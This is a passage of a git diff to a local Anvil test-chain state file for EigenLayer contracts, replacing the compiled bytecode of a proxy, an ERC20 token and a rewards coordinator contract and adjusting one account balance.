000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x633d2c6678a3c4e9d8e7db9625b63ef8d7e2f176617bd63da60b9c9e233ae9fb","block_number":3}],"historical_states":null} \ No newline at end of file diff --git a/contracts/scripts/anvil/state/eigenlayer-deployed-anvil-state.json b/contracts/scripts/anvil/state/eigenlayer-deployed-anvil-state.json index 207663597..9369574bf 100644 --- a/contracts/scripts/anvil/state/eigenlayer-deployed-anvil-state.json +++ b/contracts/scripts/anvil/state/eigenlayer-deployed-anvil-state.json @@ -2,14 +2,14 @@ "accounts": { "0x0000000000000000000000000000000000000000": { "nonce": 0, - "balance": "0x1eded0a", + "balance": "0x1edecf2", "code": "0x", "storage": {} }, "0x0165878a594ca255338adfa4d48449f69242eb8f": { "nonce": 1, "balance": "0x0", - "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", + "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x0000000000000000000000000000000000000000000000000000000000000001", "0x0000000000000000000000000000000000000000000000000000000000000033": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", @@ -24,13 +24,13 @@ "0x09635f643e140090a9a8dcd712ed6285858cebef": { "nonce": 1, "balance": "0x0", - "code": "0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033", + "code": "0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033", "storage": {} }, "0x0b306bf915c4d645ff596e518faf3f9669b97016": { "nonce": 1, "balance": "0x0", - "code": "0x608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f0000000000000000000000000000000000000000000000000000000000278d0081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f0000000000000000000000000000000000000000000000000000000065fb788081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000076a70081565b6103e97f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f0000000000000000000000000000000000000000000000000000000000093a8081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f00000000000000000000000000000000000000000000000000000000005c490081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000007a69460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f00000000000000000000000000000000000000000000000000000000005c490016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000076a70063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f0000000000000000000000000000000000000000000000000000000065fb788063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000278d00164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e